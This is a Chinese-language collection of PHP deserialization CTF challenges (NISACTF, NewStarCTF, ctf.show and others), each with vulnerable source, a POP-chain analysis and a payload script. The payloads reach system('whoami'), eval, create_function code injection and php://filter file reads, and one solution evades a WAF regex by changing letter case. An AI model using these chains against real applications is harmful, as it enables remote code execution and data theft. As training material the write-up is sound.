php反序列化题目收集 1.题目1 需要php7.0以上环境 利用到的知识点:数组当作方法调用的特性 、 create_function函数 解题:
① $f = create_function(‘$a,$b’, ‘echo($a+$b);’); $f(1,2); //3
②数组当作函数调用,就会调用 a 类中的 test() 方法
$arr=[$a,”test”]; //对象和函数都在一个数组中 $arr();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );highlight_file (__FILE__ );$pwd =getcwd ();class func { public $mod1 ; public $mod2 ; public $key ; public function __destruct ( ) { unserialize ($this ->key)(); $this ->mod2 = "welcome " . $this ->mod1; } } class GetFlag { public $code ; public $action ; public function get_flag ( ) { $a =$this ->action; $a ('' , $this ->code); } } unserialize ($_GET [0 ]);?>
解题:test1.php 题目有两个类,其中func类有3个属性、一个__destruct()方法,GetFlag有两个属性,一个方法get_flag()。
程序的起点为 unserialize($_GET[0]),终点为: get_flag() 的 $a(‘’, $this->code);
get_flag() 中属性 action 也就是 a 被当作函数方法执行,可以把 action 赋值为:create_function ,来达到执行系统命令的目的,这样方法的调用执行就转换为执行create_function {}的操作。
仔细分析 unserialize($this->key)(); , 发现这是一个方法的调用,方法名为:unserialize($this->key) ,可以利用数组的特性来调用其他类的方法,进而调用其他类的方法,我们这里想要调用到 GetFlag 类的 get_flag() 方法,那么我就让设置:unserialize($this->key)=[$g,”get_flag()”] 。其中 $g 为 GetFlag 类的实例化对象。
unserialize($this->key)=[$g,”get_flag()”];
将这个等式转换一下:$this->key=serialize([$g,”get_flag()”]);
也就是:$f->key=serialize([$g,”get_flag()”]);
$f是 func 类的实例化对象
再来分析 get_flag() 方法,$a(‘’, $this->code); ,**$a** 也就是 action 属性 被当作方法调用,这里就把action 设置成 create_function ,把里面的参数 code 构造成方法体,用来执行恶意代码。
1 2 3 4 5 6 7 8 9 10 <?php $f = create_function ('$a,$b' , 'echo($a+$b);' );$f (1 ,2 ); 对比题目中: $a ('' , $this ->code); $a 就是方法:create_function (){}code 就是 'echo($a+$b);' 我们将 $code = '};system("whoami");//' ;
使用 } 闭合掉 create_function 方法的第一个 { ,后面加上要执行的代码,**//** 注释掉 create_function 的第二个 }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Payload: <?php class func { public $mod1 ; public $mod2 ; public $key ; } class GetFlag { public $code = "};system('type flag.php');//" ; public $action ="create_function" ; } $f =new func ();$g =new GetFlag ();$f ->key=serialize ([$g ,"get_flag" ]);echo urlencode (serialize ($f ));?>
序列化后结果:
O%3A4%3A%22func%22%3A3%3A%7Bs%3A4%3A%22mod1%22%3BN%3Bs%3A4%3A%22mod2%22%3BN%3Bs%3A3%3A%22key%22%3Bs%3A130%3A%22a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22GetFlag%22%3A2%3A%7Bs%3A4%3A%22code%22%3Bs%3A28%3A%22%7D%3Bsystem%28%27type+flag.php%27%29%3B%2F%2F%22%3Bs%3A6%3A%22action%22%3Bs%3A15%3A%22create_function%22%3B%7Di%3A1%3Bs%3A8%3A%22get_flag%22%3B%7D%22%3B%7D
修改题目: 使用另一个类执行 create_function 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );$pwd =getcwd ();class func { public $mod1 ; public $mod2 ; public $key ; public function __destruct ( ) { unserialize ($this ->key)('' , $this ->mod1); $this ->mod2 = "welcome " . $this ->mod1; } } class GetFlag { public $code ; public $action ; public function get_flag ( ) { $a =$this ->action; $a (); } } unserialize ($_GET [0 ]);?>
Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class func { public $mod1 ="};system('whoami');//" ; public $mod2 ; public $key ; } class GetFlag { public $code ; public $action ; } $f =new func ();$g =new GetFlag ();$g ->action=[$f ,'__destruct' ]; $f ->key=serialize ("create_function" );echo urlencode (serialize ($g ));?>
我们发现要调用的函数例如 $a() ,内必须要有参数,作为 create_function 的参数否则无法成功调用 !!
2.题目2 POP:test2.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php error_reporting (0 );highlight_file (__FILE__ );class Vox { protected $headset ; public $sound ; public function fun ($pulse ) { include ($pulse ); } public function __invoke ( ) { $this ->fun ($this ->headset); } } class Saw { public $fearless ; public $gun ; public function __construct ($file ='index.php' ) { $this ->fearless = $file ; echo $this ->fearless . 'You are in my range!' . "<br>" ; } public function __toString ( ) { $this ->gun['gun' ]->fearless; return 'Saw' ; } public function _pain ( ) { if ($this ->fearless){ highlight_file ($this ->fearless); } } public function __wakeup ( ) { if (preg_match ("/sopher|http|file|ftp|https|dict|php|\.|\//" , $this ->fearless)){ echo "Does it hurt? That's right" ; $this ->fearless = "index3.php" ; } } } class Petal { public $seed ; public function __construct ( ) { $this ->seed = array (); } public function __get ($sun ) { $Nourishment = $this ->seed; return $Nourishment (); } } if (isset ($_GET ['ozo' ])){ unserialize ($_GET ['ozo' ]); } else { $Saw = new Saw ('index3.php' ); $Saw ->_pain (); } ?> index3.phpYou are in my range!
分析题目,按步骤做题:
找到反序列化入口点:unserialize($_GET[‘ozo’]);再找终点,即能够执行任意系统命令的地方,发现 Vox 类的 fun 方法有 include ,可以传入我们要执行的命令。
找到了 __invoke() 中调用了 fun() ,参数为 headset ,那么就可以令:**$headset = “php://filter/convert.base64-encode/resource/flag.php”;接着找能都调用 __invoke() 的地方, __invoke()** 是把对象当做函数调用时触发,找函数调用的地方。发现 Petal 的 get() 方法中 return $Nourishment() ,seed 被当做函数调用;接下来找能调用 __get() 的地方,即调用不可访问、不存在的对象成员属性时触发,找到 Saw 的 __toString() 下的 $this->gun[‘gun’]->fearless; gun被当成一个数组,这里我们让 $s->gun=array(“gun”=>$p) ,那么 Petal 的对象 $p 调用 fearless ,fearless在 Petal 类中不存在,即可触发了 get() ,接着找能触发 toString() 的地方,对象被当作字符串处理时会调用他,找到 Saw 类的 wakeup() 方法,$this->fearless 被当作字符串处理;然后找能触发 wakeup() 的地方,即执行unserialize()时会调用他,
1 2 3 4 5 6 unserialize ($_GET ['ozo' ]),ozo=$s2 Saw ::__wakeup (),$s2 ->fearless=$s Saw ::__toString (),$s ->gun=array ("gun" =>$p )Petal ::__get (),$p ->seed=$v ;Vox ::__invoke ()Vox ::fun
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Payload <?php class Vox { public $headset = "php://filter/convert.base64-encode/resource=flag.php" ; public $sound ; } class Saw { public $fearless ; public $gun ; } class Petal { public $seed ; } $v =new Vox ();$p =new Petal ();$p ->seed=$v ;$s =new Saw ();$s ->gun=array ("gun" =>$p ); $s2 =new Saw ();$s2 ->fearless=$s ;echo urlencode (serialize ($s2 ));?>
传入参数,base64解码得到flag
3.题目3 POP:pop1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 Welcome to index.php Welcome to index.php Welcome to index.php <?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ @unserialize ($_GET ['pop' ]); } else { $a =new Show ; highlight_file (__FILE__ ); }
分析 同题目2类似 起点:unserialize($_GET[‘pop’])
终点:Modifier 类的 __invoke() 方法,include
注意: 要调用 Test 类的 __get() 方法,将 Test 类对象赋值给 Show 类的 str 属性,即:
$s->str=$t; ,这样 Test 类中找不到 source 属性,触发 __get() 方法。
使用到的魔术方法:
1 2 3 4 __invoke () __get () __wakeup () __toString ()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class Modifier { public $var = "php://filter/convert.base64-encode/resource=flag.php" ; } class Show { public $source ; public $str ; } class Test { public $p ; } $m = new Modifier ();$t = new Test ();$t ->p=$m ;$s = new Show ();$s ->str=$t ;$s2 = new Show ();$s2 ->source=$s ;echo urlencode (serialize ($s2 ));?>
4.题目4 POP :pop2.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?php error_reporting (1 );class Read { public $var ; public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } public function __invoke ( ) { $content = $this ->file_get ($this ->var ); echo $content ; } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo $this ->source.'Welcome' ."<br>" ; } public function __toString ( ) { return $this ->str['str' ]->source; } public function _show ( ) { if (preg_match ('/gopher|http|ftp|https|dict|\.\.|flag|file/i' ,$this ->source)) { die ('hacker' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['hello' ])){ unserialize ($_GET ['hello' ]); }else { $show = new Show ('pop2.php' ); $show ->_show (); }
起点:unserialize($_GET[‘hello’]);
终点:Read 类的 file_get 方法,file_get_contents
使用到的魔术方法:
1 2 3 4 __invoke () __get () __wakeup () __toString ()
Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class Read { public $var ="php://filter/convert.base64-encode/resource=flag.php" ; } class Show { public $source ; public $str ; } class Test { public $p ; } $r =new Read ();$t =new Test ();$t ->p=$r ;$s =new Show ();$s ->str['str' ]=$t ;$s2 =new Show ();$s2 ->source=$s ;echo serialize ($s2 );echo urlencode (serialize ($s2 ));?>
得到的结果传入后得到base编码结果,进行两次解码即可得到源代码
pop2.php?hello=O:4:”Show”:2:{s:6:”source”;O:4:”Show”:2:{s:6:”source”;N;s:3:”str”;a:1:{s:3:”str”;O:4:”Test”:1:{s:1:”p”;O:4:”Read”:1:{s:3:”var”;s:52:”php://filter/convert.base64-encode/resource=flag.php”;}}}}s:3:”str”;N;}
5.题目5 pop : s1.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php error_reporting (0 );show_source ("1.php" );class w44m { private $admin = 'aaa' ; protected $passwd = '123456' ; public function Getflag ( ) { if ($this ->admin === 'w44m' && $this ->passwd ==='08067' ){ include ('flag.php' ); echo $flag ; }else { echo $this ->admin; echo $this ->passwd; echo 'nono' ; } } } class w22m { public $w00m ; public function __destruct ( ) { echo $this ->w00m; } } class w33m { public $w00m ; public $w22m ; public function __toString ( ) { $this ->w00m->{$this ->w22m}(); return 0 ; } } $w00m = $_GET ['w00m' ];unserialize ($w00m );?>
起点:unserialize($w00m)
终点:w44m 类的 Getflag() 方法,include
很明显 Getflag() 有 include 函数,可以作为pop链终点。
要执行 Getflag() 方法,需要满足条件:admin=’w44m’,并且 passwd=’08067’, 还要找到调用 Getflag() 的地方,该方法不能自动触发,因此需要考虑如何触发该方法;
发现 __toString() 方法下的代码可以实现 Getflag 方法调用,只需令 w33m 类的属性 w 00m 为 w44m 对象,属性 w00m为w44m对象,属性 w22m 的值为 Getflag;要触发 toString 方法,找把对象当成字符串使用的地方,只有 w22m 类的 echo $this->w00m;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 payload: <?php class w44m { private $admin = 'w44m' ; protected $passwd = '08067' ; } class w22m { public $w00m ; } class w33m { public $w00m ; public $w22m ="Getflag" ; } $w2 =new w22m ();$w3 =new w33m ();$w4 =new w44m ();$w3 ->w00m=$w4 ;$w2 ->w00m=$w3 ;echo urlencode (serialize ($w2 ));?>
6.题目6 pop: s2.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class entrance { public $start ; function __construct ($start ) { $this ->start = $start ; } function __destruct ( ) { $this ->start->helloworld (); } } class springboard { public $middle ; function __call ($name , $arguments ) { echo $this ->middle->hs; } } class evil { public $end ; function __construct ($end ) { $this ->end = $end ; } function __get ($Attribute ) { eval ($this ->end); } } if (isset ($_GET ['serialize' ])) { unserialize ($_GET ['serialize' ]); } else { highlight_file (__FILE__ ); } ?>
很明显 eval() 方法可以作为pop链终点。
要调用 eval() 方法,找到了 __call 方法的 echo $this->middle->hs;
要调用 __call() ,找到了 entrance 类下的 $this->start->helloworld();
1 2 3 __get () __call () __destruct ()
Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class entrance { public $start ; } class springboard { public $middle ; } class evil { public $end ='system("whoami");' ; } $e =new evil ();$s =new springboard ();$s ->middle=$e ;$e2 =new entrance ();$e2 ->start=$s ;echo urlencode (serialize ($e2 ));?>
7.题目7(1) pop : s3.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <?php include "waf.php" ;class NISA { public $fun ="show_me_flag" ; public $txw4ever ; public function __wakeup ( ) { if ($this ->fun=="show_me_flag" ){ hint (); } } function __call ($from ,$val ) { $this ->fun=$val [0 ]; } public function __toString ( ) { echo $this ->fun; return " " ; } public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); } } class TianXiWei { public $ext ; public $x ; public function __wakeup ( ) { $this ->ext->nisa ($this ->x); } } class Ilovetxw { public $huang ; public $su ; public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; } public function __toString ( ) { $bb = $this ->su; return $bb (); } } class four { public $a ="TXW4EVER" ; private $fun ='abc' ; public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } } } if (isset ($_GET ['ser' ])){ @unserialize ($_GET ['ser' ]); }else { highlight_file (__FILE__ ); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 waf.php <?php function checkcheck ($data ) { if (preg_match ("/\`|\^|\||\~|assert|\?|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk/" ,$data ,$match )){ die ('something wrong' ); } } function hint ( ) { echo "flag is in /" ; die (); } ?>
eval() 方法可以作为pop链终点。
要调用 eval() 方法,找到了 __invoke 方法的 @eval($this->txw4ever); 发现 invoke ,直接找对象当成函数调用的地方,找到了Ilovetxw类的return $bb(); 再接着找调用toString的地方。
由于存在 waf 过滤,这里使用大小写绕过,whoami 替换为 tac fl *
Payload1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php class NISA { public $fun ="show_m" ; public $txw4ever ="SysTem('whoami');" ; } class TianXiWei { public $ext ; public $x ; } class Ilovetxw { public $huang ; public $su ; } class four { public $a ="TXW4EVER" ; private $fun ='abc' ; } $n =new NISA ();$i =new Ilovetxw ();$i ->su=$n ;$f =new four ();$f ->a=$i ;$i2 =new Ilovetxw ();$i2 ->huang=$f ;$t =new TianXiWei ();$t ->ext=$i2 ;echo serialize ($t );echo urlencode (serialize ($t ));?>
Payload2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class NISA { public $fun ="666" ; public $txw4ever ="SYstem('whoami');" ; } class Ilovetxw { public $su ; } $n =new NISA ();$i =new Ilovetxw ();$i ->su=$n ;$n1 =new NISA ();$n1 ->fun=$i ;echo urlencode (serialize ($n1 ));?>
8.题目8 pop : s4.php [NISACTF 2022]popchains 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 Happy New Year~ MAKE A WISH Happy New Year~ MAKE A WISH Happy New Year~ MAKE A WISH <?php echo 'Happy New Year~ MAKE A WISH<br>' ;if (isset ($_GET ['wish' ])){ @unserialize ($_GET ['wish' ]); } else { $a =new Road_is_Long ; highlight_file (__FILE__ ); } class Road_is_Long { public $page ; public $string ; public function __construct ($file ='index.php' ) { $this ->page = $file ; } public function __toString ( ) { return $this ->string ->page; } public function __wakeup ( ) { if (preg_match ("/file|ftp|http|https|gopher|dict|\.\./i" , $this ->page)) { echo "You can Not Enter 2022" ; $this ->page = "index.php" ; } } } class Try_Work_Hard { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } } class Make_a_Change { public $effort ; public function __construct ( ) { $this ->effort = array (); } public function __get ($key ) { $function = $this ->effort; return $function (); } }
常规题,直接构造pop链
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class Road_is_Long { public $page ; public $string ; } class Try_Work_Hard { protected $var ="php://filter/convert.base64-encode/resource=flag.php" ; } class Make_a_Change { public $effort ; } $t =new Try_Work_Hard ();$m =new Make_a_Change ();$m ->effort=$t ;$r =new Road_is_Long ();$r ->string =$m ;$r2 =new Road_is_Long ();$r2 ->page=$r ;echo serialize ($r2 );echo urlencode (serialize ($r2 ));?>
9.题目9(1) pop : s5.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php include 'flag.php' ;class pkshow { function echo_name ( ) { return "Pk very safe^.^" ; } } class acp { protected $cinder ; public $neutron ; public $nova ; function __construct ( ) { $this ->cinder = new pkshow; } function __toString ( ) { if (isset ($this ->cinder)) return $this ->cinder->echo_name (); } } class ace { public $filename ; public $openstack ; public $docker ; function echo_name ( ) { $this ->openstack = unserialize ($this ->docker); $this ->openstack->neutron = $heat ; if ($this ->openstack->neutron === $this ->openstack->nova) { $file = "./{$this->filename} " ; if (file_get_contents ($file )) { return file_get_contents ($file ); } else { return "keystone lost~" ; } } } } if (isset ($_GET ['pks' ])) { $logData = unserialize ($_GET ['pks' ]); echo $logData ; } else { highlight_file (__file__); } ?>
1 2 3 file_get_contents () 函数 : 是一个php函数,用于读取文件中的内容并将其作为字符串返回。它接受一个参数,即要读取的文件的路径。 但遇到读大文件操作时,不建议使用。可以考虑curl等方式代替。__toString () __construct ()
关键:if($this->openstack->neutron === $this->openstack->nova)
解法一:由于$heat变量没有被赋值,所以他是空的,也就是null,绕过方式是使用NULL===NULL,即$nova=NULL
解法二:$acp->neutron=&$acp->nova; 绕过
可以发现 echo_name() 中的 heat 属性不存在,可以把他认为时 null
那么 $this->openstack->neutron = NULL;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Payload1: <?php class acp { protected $cinder ; public $neutron ; public $nova =NULL ; function __construct ( ) { $this ->cinder = new ace (); } } class ace { public $filename ='../flag.php' ; public $openstack ; public $docker ; } $acp =new acp ();echo urlencode (serialize ($acp ));?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 Payload2: <?php class acp { protected $cinder ; public $neutron ; public $nova ; function __construct ( ) { $this ->cinder = new ace (); } } class ace { public $filename ='../flag.php' ; public $openstack ; public $docker ; } $acp =new acp ();$acp ->neutron=&$acp ->nova; echo urlencode (serialize ($acp ));?>
10.题目10 pop : s6.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php highlight_file (__FILE__ );class A { public $var_1 ; public function __invoke ( ) { include ($this ->var_1); } } class B { public $q ; public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->q)) { echo "hacker" ; } } } class C { public $var ; public $z ; public function __toString ( ) { return $this ->z->var ; } } class D { public $p ; public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['payload' ])){ unserialize ($_GET ['payload' ]); } ?>
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class A { public $var_1 ="php://filter/convert.base64-encode/resource=flag.php" ; } class B { public $q ; } class C { public $var ; } class D { public $p ; } $a =new A;$d =New D;$d ->p=$a ;$c =new C;$c ->z=$d ;$b =new B;$b ->q=$c ;echo urlencode (serialize ($b ));?>
11.题目11 pop : s7.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php highlight_file (__FILE__ );class Begin { public $name ; public function __destruct ( ) { if (preg_match ("/[a-zA-Z0-9]/" ,$this ->name)){ echo "Hello" ; }else { echo "Welcome to NewStarCTF 2023!" ; } } } class Then { private $func ; public function __toString ( ) { ($this ->func)(); return "Good Job!" ; } } class Handle { protected $obj ; public function __call ($func , $vars ) { $this ->obj->end (); } } class Super { protected $obj ; public function __invoke ( ) { $this ->obj->getStr (); } public function end ( ) { die ("==GAME OVER==" ); } } class CTF { public $handle ; public function end ( ) { unset ($this ->handle->log); } } class WhiteGod { public $func ; public $var ; public function __unset ($var ) { ($this ->func)($this ->var ); } } @unserialize ($_POST ['pop' ]);
找到题目终点 WhiteGod 类中的 ($this->func)($this->var); ,可当做执行任意代码的地方,可以让 func 为 system ,让 var 为 whoami,
构造pop链,发现 CTF 类调用了 unset,Handle 类调用了 end ,
Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
由于链子调用中成员属性有 private 和 protected,为了保险起见我们用 construct ()方法去调用链子,最后再使用url编码绕过;也可把 private 和 protected都改为 public,使用常规方法
1 2 3 4 5 __unset () __call () __invoke () __toString () __destruct ()
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php class Begin { public $name ; public function __construct ( ) { $this ->name = new Then ; } } class Then { private $func ; public function __construct ( ) { $this ->func= new Super ; } } class Handle { protected $obj ; public function __construct ( ) { $this ->obj = new CTF; } } class Super { protected $obj ; public function __construct ( ) { $this ->obj = new Handle ; } } class CTF { public $handle ; public function __construct ( ) { $this ->handle = new WhiteGod ; } } class WhiteGod { public $func = 'system' ; public $var = 'whoami' ; } $begin = new Begin ();echo serialize ($begin )."\n" ;echo urlencode (serialize ($begin ));?>
12.题目12 [SWPUCTF 2022 新生赛]ez_ez_unserialize __wakeup()绕过,php5.6以上不支持 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 s8.php <?php class X { public $x = __FILE__ ; function __construct ($x ) { $this ->x = $x ; } function __wakeup ( ) { if ($this ->x!== __FILE__ ) { $this ->x = __FILE__ ; } } function __destruct ( ) { highlight_file ($this ->x); } } if (isset ($_REQUEST ['x' ])) { @unserialize ($_REQUEST ['x' ]); } else { highlight_file (__FILE__ ); } ?>
__construct():在类被实例化时 调用
__wakeup():在类被反序列化之前 调用
__destruct():在对象销毁后 执行,highlight_file)()函数,提示flag在fllllllag.php里面,这里可以作为读取flag的入口
这里调用顺序是: construct()–>wakeup()–>反序列化操作–>destruct()
首先需要给 x 变量修改值为 fllllllag.php,然后construct方法执行后会实例化对象,但是后面又执行了wakeup,x 又被重新改为:____FILE____,那么执行到destruct的时候就不会出现fllllllag.php的内容,所以需要绕过 wakeup 函数
绕过 :序列化后更改序列对象的数量 进行绕过
payload:
无法正常执行,需要转换php版本为 5.6.9
1 2 3 4 5 6 7 8 <?php class X { public $x = "fllllllag.php" ; } $a = new X ();echo serialize ($a );echo urlencode (serialize ($a ));?>
1 2 O:1 :"X" :1 :{s:1 :"x" ;s:13 :"fllllllag.php" ;} O:1 :"X" :5 :{s:1 :"x" ;s:13 :"fllllllag.php" ;}
13.题目13 https://ctf.show/challenges#
WEB入门-反序列化
web254.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxx' ; public $password ='xxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { if ($this ->username===$u &&$this ->password===$p ){ $this ->isVip=true ; } return $this ->isVip; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = new ctfShowUser (); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()) $user ->vipOneKeyGetFlag (); }else { echo "no vip,no flag" ; } }
分析:
程序的 vipOneKeyGetFlag() 会返回 flag
只有一个类,get传入两个参数后会实例化类对象,此题没有用到反序列化漏洞,根据题目提示传入相应参数即可
1 ?username=xxxxx&password=xxxxx
14.题目14 web255.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxx' ; public $password ='xxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; echo "your flag is " .$flag ; }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()) $user ->vipOneKeyGetFlag (); }else { echo "no vip,no flag" ; } }
分析:此题和上题目代码差不多,unserialize($_COOKIE[‘user’]) 再加一个 user 参数
1 2 3 4 5 6 7 8 9 10 11 payload: <?php class ctfShowUser { public $username ="xxxxx" ; public $password ="xxxxx" ; public $isVip =true ; } $c = new ctfShowUser ();echo urlencode (serialize ($c ));echo serialize ($c );?>
1 2 O%3 A11%3 A%22 ctfShowUser%22 %3 A3%3 A%7 Bs%3 A8%3 A%22 username%22 %3 Bs%3 A5%3 A%22 xxxxx%22 %3 Bs%3 A8%3 A%22 password%22 %3 Bs%3 A5%3 A%22 xxxxx%22 %3 Bs%3 A5%3 A%22 isVip%22 %3 Bb%3 A1%3 B%7 D O:11 :"ctfShowUser" :3 :{s:8 :"username" ;s:5 :"xxxxx" ;s:8 :"password" ;s:5 :"xxxxx" ;s:5 :"isVip" ;b:1 ;}
1 2 get:?username=xxxxx&password=xxxxx cookie:user=O%3 A11%3 A%22 ctfShowUser%22 %3 A3%3 A%7 Bs%3 A8%3 A%22 username%22 %3 Bs%3 A5%3 A%22 xxxxx%22 %3 Bs%3 A8%3 A%22 password%22 %3 Bs%3 A5%3 A%22 xxxxx%22 %3 Bs%3 A5%3 A%22 isVip%22 %3 Bb%3 A1%3 B%7 D
15.题目15 web256.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php error_reporting (0 );highlight_file (__FILE__ );include ('flag.php' );class ctfShowUser { public $username ='xxxxx' ; public $password ='xxxxx' ; public $isVip =false ; public function checkVip ( ) { return $this ->isVip; } public function login ($u ,$p ) { return $this ->username===$u &&$this ->password===$p ; } public function vipOneKeyGetFlag ( ) { if ($this ->isVip){ global $flag ; if ($this ->username!==$this ->password) { echo "your flag is " .$flag ; } }else { echo "no vip, no flag" ; } } } $username =$_GET ['username' ];$password =$_GET ['password' ];if (isset ($username ) && isset ($password )){ $user = unserialize ($_COOKIE ['user' ]); if ($user ->login ($username ,$password )){ if ($user ->checkVip ()) $user ->vipOneKeyGetFlag (); }else { echo "no vip,no flag" ; } } ?>
此题在前面的基础上添加了 if($this->username!==$this->password) ,要求 username 和 password 不相等。
payload:
1 2 3 4 5 6 7 8 9 10 <?php class ctfShowUser { public $username ="xxxxx" ; public $password ="cc" ; public $isVip =true ; } $c = new ctfShowUser ();echo urlencode (serialize ($c ));?>
